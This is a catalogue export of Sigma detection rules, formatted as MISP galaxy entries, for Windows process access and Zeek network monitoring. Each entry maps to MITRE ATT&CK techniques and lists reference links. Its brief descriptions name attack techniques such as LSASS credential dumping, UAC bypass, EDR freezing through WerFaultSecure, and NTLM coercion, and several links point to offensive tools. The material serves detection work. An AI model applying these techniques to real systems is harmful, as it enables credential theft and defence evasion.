Potential Direct Syscall of NtOpenProcess has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-

language:likelihood-probability="almost-certain"

Table 16732. Table References

Links
https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_direct_ntopenprocess_call.yml

Function Call From Undocumented COM Interface EditionUpgradeManager

Detects function calls from the EditionUpgradeManager COM interface. Which is an interface that is not used by standard executables.

The tag is: *misp-galaxy:sigma-rules="Function Call From Undocumented COM Interface EditionUpgradeManager"*

View relationships graph

Function Call From Undocumented COM Interface EditionUpgradeManager has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 16733. Table References

Links
https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/
https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_editionupgrademanagerobj.yml

Uncommon Process Access Rights For Target Image

Detects process access request to uncommon target images with a "PROCESS_ALL_ACCESS" access mask.

The tag is: *misp-galaxy:sigma-rules="Uncommon Process Access Rights For Target Image"*

View relationships graph

Uncommon Process Access Rights For Target Image has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1055.011" with estimative-language:likelihood-probability="almost-certain"

Table 16734. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_all_access_uncommon_target.yml

Suspicious Process Access of MsMpEng by WerFaultSecure - EDR-Freeze

Detects process access events where WerFaultSecure accesses MsMpEng.exe with dbgcore.dll or dbghelp.dll in the call trace, indicating potential EDR freeze techniques. This technique leverages WerFaultSecure.exe running as a Protected Process Light (PPL) with WinTCB protection level to call MiniDumpWriteDump and suspend EDR/AV processes, allowing malicious activity to execute undetected during the suspension period.

The tag is: *misp-galaxy:sigma-rules="Suspicious Process Access of MsMpEng by WerFaultSecure - EDR-Freeze"*

View relationships graph

Suspicious Process Access of MsMpEng by WerFaultSecure - EDR-Freeze has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16735. Table References

Links
https://blog.axelarator.net/hunting-for-edr-freeze/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_werfaultsecure_msmpeng_access.yml

Credential Dumping Attempt Via WerFault

Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.

The tag is: *misp-galaxy:sigma-rules="Credential Dumping Attempt Via WerFault"*

View relationships graph

Credential Dumping Attempt Via WerFault has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16736. Table References

Links
https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml

HackTool - Generic Process Access

Detects process access requests from hacktool processes based on their default image name

The tag is: *misp-galaxy:sigma-rules="HackTool - Generic Process Access"*

View relationships graph

HackTool - Generic Process Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16737. Table References

Links
https://jsecurity101.medium.com/bypassing-access-mask-auditing-strategies-480fb641c158
https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_generic_access.yml

Suspicious LSASS Access Via MalSecLogon

Detects suspicious access to LSASS handle via a call trace to "seclogon.dll" with a suspicious access right.

The tag is: *misp-galaxy:sigma-rules="Suspicious LSASS Access Via MalSecLogon"*

View relationships graph

Suspicious LSASS Access Via MalSecLogon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16738. Table References

Links
https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html

https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml
https://twitter.com/SBousseaden/status/1541920424635912196
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_seclogon_access.yml

LSASS Memory Access by Tool With Dump Keyword In Name

Detects LSASS process access requests from a source process with the "dump" keyword in its image name.

The tag is: *misp-galaxy:sigma-rules="LSASS Memory Access by Tool With Dump Keyword In Name"*

View relationships graph

LSASS Memory Access by Tool With Dump Keyword In Name has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16739. Table References

Links
https://twitter.com/*xpn*/status/1491557187168178176
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_keyword_image.yml

HackTool - HandleKatz Duplicating LSASS Handle

Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles

The tag is: *misp-galaxy:sigma-rules="HackTool - HandleKatz Duplicating LSASS Handle"*

View relationships graph

HackTool - HandleKatz Duplicating LSASS Handle has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16740. Table References

Links
https://github.com/codewhitesec/HandleKatz
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_handlekatz_lsass_access.yml

Suspicious Svchost Process Access

Detects suspicious access to the "svchost" process such as that used by Invoke-Phantom to kill the thread of the Windows event logging service.

The tag is: *misp-galaxy:sigma-rules="Suspicious Svchost Process Access"*

View relationships graph

Suspicious Svchost Process Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 16741. Table References

Links
https://twitter.com/timbmsft/status/900724491076214784
https://github.com/hlldz/Invoke-Phant0m
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_susp_access_request.yml

HackTool - LittleCorporal Generated Maldoc Injection

Detects the process injection of a LittleCorporal generated Maldoc.

The tag is: *misp-galaxy:sigma-rules="HackTool - LittleCorporal Generated Maldoc Injection"*

View relationships graph

HackTool - LittleCorporal Generated Maldoc Injection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003" with estimative-language:likelihood-probability="almost-certain"

Table 16742. Table References

Links
https://github.com/connormcgarr/LittleCorporal

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_littlecorporal_generated_maldoc.yml

UAC Bypass Using WOW64 Logger DLL Hijack

Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using WOW64 Logger DLL Hijack"*

View relationships graph

UAC Bypass Using WOW64 Logger DLL Hijack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 16743. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_wow64_logger.yml

Remote LSASS Process Access Through Windows Remote Management

Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.

The tag is: *misp-galaxy:sigma-rules="Remote LSASS Process Access Through Windows Remote Management"*

View relationships graph

Remote LSASS Process Access Through Windows Remote Management has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"

Table 16744. Table References

Links
https://pentestlab.blog/2018/05/15/lateral-movement-winrm/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_remote_access_trough_winrm.yml

Lsass Memory Dump via Comsvcs DLL

Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.

The tag is: *misp-galaxy:sigma-rules="Lsass Memory Dump via Comsvcs DLL"*

View relationships graph

Lsass Memory Dump via Comsvcs DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16745. Table References

Links
https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
https://twitter.com/shantanukhande/status/1229348874298388484
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml

Credential Dumping Attempt Via Svchost

Detects when a process tries to access the memory of svchost to potentially dump credentials.

The tag is: *misp-galaxy:sigma-rules="Credential Dumping Attempt Via Svchost"*

View relationships graph

Credential Dumping Attempt Via Svchost has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 16746. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_credential_dumping.yml

LSASS Access From Potentially White-Listed Processes

Detects a possible process memory dump that uses a white-listed filename like TrolleyExpress.exe as a way to dump the LSASS process memory without Microsoft Defender interference

The tag is: *misp-galaxy:sigma-rules="LSASS Access From Potentially White-Listed Processes"*

View relationships graph

LSASS Access From Potentially White-Listed Processes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16747. Table References

Links
https://twitter.com/*xpn*/status/1491557187168178176
https://twitter.com/mrd0x/status/1460597833917251595
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_whitelisted_process_names.yml

Suspicious Process Access to LSASS with Dbgcore/Dbghelp DLLs

Detects suspicious process access to LSASS.exe from processes located in uncommon locations with dbgcore.dll or dbghelp.dll in the call trace. These DLLs contain functions like MiniDumpWriteDump that can be abused for credential dumping purposes. While modern tools like Mimikatz have moved to using ntdll.dll, dbgcore.dll and dbghelp.dll are still used by basic credential dumping utilities and legacy tools for LSASS memory access and process suspension techniques.

The tag is: *misp-galaxy:sigma-rules="Suspicious Process Access to LSASS with Dbgcore/Dbghelp DLLs"*

View relationships graph

Suspicious Process Access to LSASS with Dbgcore/Dbghelp DLLs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16748. Table References

Links

https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpwritedump
https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_dbgcore_dbghelp_load.yml

Potentially Suspicious GrantedAccess Flags On LSASS

Detects process access requests to LSASS process with potentially suspicious access flags

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious GrantedAccess Flags On LSASS"*

View relationships graph

Potentially Suspicious GrantedAccess Flags On LSASS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16749. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://web.archive.org/web/20230420013146/http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf
https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html
https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_susp_access_flag.yml

HackTool - CobaltStrike BOF Injection Pattern

Detects a typical pattern of a CobaltStrike BOF which inject into other processes

The tag is: *misp-galaxy:sigma-rules="HackTool - CobaltStrike BOF Injection Pattern"*

View relationships graph

HackTool - CobaltStrike BOF Injection Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with

estimative-language:likelihood-probability="almost-certain"

Table 16750. Table References

Links
https://github.com/boku7/injectAmsiBypass
https://github.com/boku7/spawn
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_cobaltstrike_bof_injection_pattern.yml

First Time Seen Remote Named Pipe - Zeek

This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes

The tag is: *misp-galaxy:sigma-rules="First Time Seen Remote Named Pipe - Zeek"*

View relationships graph

First Time Seen Remote Named Pipe - Zeek has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16751. Table References

Links
https://twitter.com/menasec1/status/1104489274387451904
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml

Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Network

Detects DNS queries containing patterns associated with Kerberos coercion attacks via DNS object spoofing. The pattern "1UWhRCAAAAA..BAAAA" is a base64-encoded signature that corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure. Attackers can use this technique to coerce authentication from victim systems to attacker-controlled hosts. It is one of the strong indicators of a Kerberos coercion attack, where adversaries manipulate DNS records to spoof Service Principal Names (SPNs) and redirect authentication requests like CVE-2025-33073.

The tag is: *misp-galaxy:sigma-rules="Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Network"*

View relationships graph

Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Network has

relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

Table 16752. Table References

Links
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_kerberos_coercion_via_dns_object_spn_spoofing.yml

Kerberos Network Traffic RC4 Ticket Encryption

Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting

The tag is: *misp-galaxy:sigma-rules="Kerberos Network Traffic RC4 Ticket Encryption"*

View relationships graph

Kerberos Network Traffic RC4 Ticket Encryption has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 16753. Table References

Links
https://adsecurity.org/?p=3458
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml

Publicly Accessible RDP Service

Detects connections from routable IPs to an RDP listener. Which is indicative of a publicly-accessible RDP service.

The tag is: *misp-galaxy:sigma-rules="Publicly Accessible RDP Service"*

View relationships graph

Publicly Accessible RDP Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 16754. Table References

Links
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_rdp_public_listener.yml

Default Cobalt Strike Certificate

Detects the presence of default Cobalt Strike certificate in the HTTPS traffic

The tag is: *misp-galaxy:sigma-rules="Default Cobalt Strike Certificate"*

Table 16755. Table References

Links
https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml

WebDav Put Request

A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.

The tag is: *misp-galaxy:sigma-rules="WebDav Put Request"*

View relationships graph

WebDav Put Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 16756. Table References

Links
https://github.com/OTRF/detection-hackathon-apt29/issues/17
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_webdav_put_request.yml

Transferring Files with Credential Data via Network Shares - Zeek

Transferring files with well-known filenames (sensitive files with credential data) using network shares

The tag is: *misp-galaxy:sigma-rules="Transferring Files with Credential Data via Network Shares -*

Zeek"

View relationships graph

Transferring Files with Credential Data via Network Shares - Zeek has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 16757. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml

Executable from Webdav

Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/

The tag is: *misp-galaxy:sigma-rules="Executable from Webdav"*

View relationships graph

Executable from Webdav has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16758. Table References

Links
http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html
https://github.com/OTRF/detection-hackathon-apt29
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml

Suspicious PsExec Execution - Zeek

detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than

sysinternal one

The tag is: *misp-galaxy:sigma-rules="Suspicious PsExec Execution - Zeek"*

View relationships graph

Suspicious PsExec Execution - Zeek has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16759. Table References

Links
https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml

Potential PetitPotam Attack Via EFS RPC Calls

Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam. The usage of this RPC function should be rare if ever used at all. Thus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate. View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'

The tag is: *misp-galaxy:sigma-rules="Potential PetitPotam Attack Via EFS RPC Calls"*

View relationships graph

Potential PetitPotam Attack Via EFS RPC Calls has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

Table 16760. Table References

Links
https://msrc.microsoft.com/update-guide/vulnerability/ADV210003
https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf
https://threatpost.com/microsoft-petitpotam-poc/168163/
https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp

https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml

New Kind of Network (NKN) Detection

NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>

The tag is: *misp-galaxy:sigma-rules="New Kind of Network (NKN) Detection"*

Table 16761. Table References

Links
https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/
https://github.com/Maka8ka/NGLite
https://github.com/nknorg/nkn-sdk-go
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml

Remote Task Creation via ATSVC Named Pipe - Zeek

Detects remote task creation via at.exe or API interacting with ATSVC namedpipe

The tag is: *misp-galaxy:sigma-rules="Remote Task Creation via ATSVC Named Pipe - Zeek"*

View relationships graph

Remote Task Creation via ATSVC Named Pipe - Zeek has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 16762. Table References

Links
https://web.archive.org/web/20230409194125/https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml

DNS TOR Proxies

Identifies IPs performing DNS lookups associated with common Tor proxies.

The tag is: *misp-galaxy:sigma-rules="DNS TOR Proxies"*

View relationships graph

DNS TOR Proxies has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Table 16763. Table References

Links
https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_torproxy.yml

MITRE BZAR Indicators for Persistence

Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.

The tag is: *misp-galaxy:sigma-rules="MITRE BZAR Indicators for Persistence"*

View relationships graph

MITRE BZAR Indicators for Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

Table 16764. Table References

Links
https://github.com/mitre-attack/bzar#indicators-for-attck-persistence
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_persistence.yml

Possible Impacket SecretDump Remote Activity - Zeek

Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml

The tag is: *misp-galaxy:sigma-rules="Possible Impacket SecretDump Remote Activity - Zeek"*

View relationships graph

Possible Impacket SecretDump Remote Activity - Zeek has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 16765. Table References

Links
https://web.archive.org/web/20230329153811/https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml

HTTP Request to Low Reputation TLD or Suspicious File Extension

Detects HTTP requests to low reputation TLDs (e.g. .xyz, .top, .ru) or ending in suspicious file extensions (.exe, .dll, .hta), which may indicate malicious activity.

The tag is: *misp-galaxy:sigma-rules="HTTP Request to Low Reputation TLD or Suspicious File Extension"*

Table 16766. Table References

Links
https://www.spamhaus.org/reputation-statistics/cctlds/domains/
https://www.howtogeek.com/137270/50-file-extensions-that-are-potentially-dangerous-on-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_susp_file_ext_from_susp_tld.yml

Suspicious DNS Z Flag Bit Set

The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused). Although recently it has been used in DNSSec, the value being set to anything other than 0 should be rare. Otherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward. Determine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering. This Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'

The tag is: *misp-galaxy:sigma-rules="Suspicious DNS Z Flag Bit Set"*

View relationships graph

Suspicious DNS Z Flag Bit Set has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

Table 16767. Table References

Links
https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma
https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS
https://twitter.com/neu5ron/status/1346245602502443009
https://tools.ietf.org/html/rfc2929#section-2.1
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml

Suspicious Access to Sensitive File Extensions - Zeek

Detects known sensitive file extensions via Zeek

The tag is: *misp-galaxy:sigma-rules="Suspicious Access to Sensitive File Extensions - Zeek"*

Table 16768. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml

MITRE BZAR Indicators for Execution

Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE

The tag is: *misp-galaxy:sigma-rules="MITRE BZAR Indicators for Execution"*

View relationships graph

MITRE BZAR Indicators for Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16769. Table References

Links

https://github.com/mitre-attack/bzar#indicators-for-attck-execution
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml

DNS Events Related To Mining Pools

Identifies clients that may be performing DNS lookups associated with common currency mining pools.

The tag is: *misp-galaxy:sigma-rules="DNS Events Related To Mining Pools"*

View relationships graph

DNS Events Related To Mining Pools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

Table 16770. Table References

Links
https://github.com/Azure/Azure-Sentinel/blob/fa0411f9424b6c47b4d5a20165e4f1b168c1f103/Detections/ASimDNS/imDNS_Miners.yaml
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_mining_pools.yml

SMB Spoolss Name Piped Usage

Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.

The tag is: *misp-galaxy:sigma-rules="SMB Spoolss Name Piped Usage"*

View relationships graph

SMB Spoolss Name Piped Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16771. Table References

Links
https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

https://dirkjanm.io/a-different-way-of-abusing-zerologon/
https://twitter.com/_dirkjan/status/1309214379003588608
https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml

Cisco BGP Authentication Failures

Detects BGP failures which may be indicative of brute force attacks to manipulate routing

The tag is: *misp-galaxy:sigma-rules="Cisco BGP Authentication Failures"*

View relationships graph

Cisco BGP Authentication Failures has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"

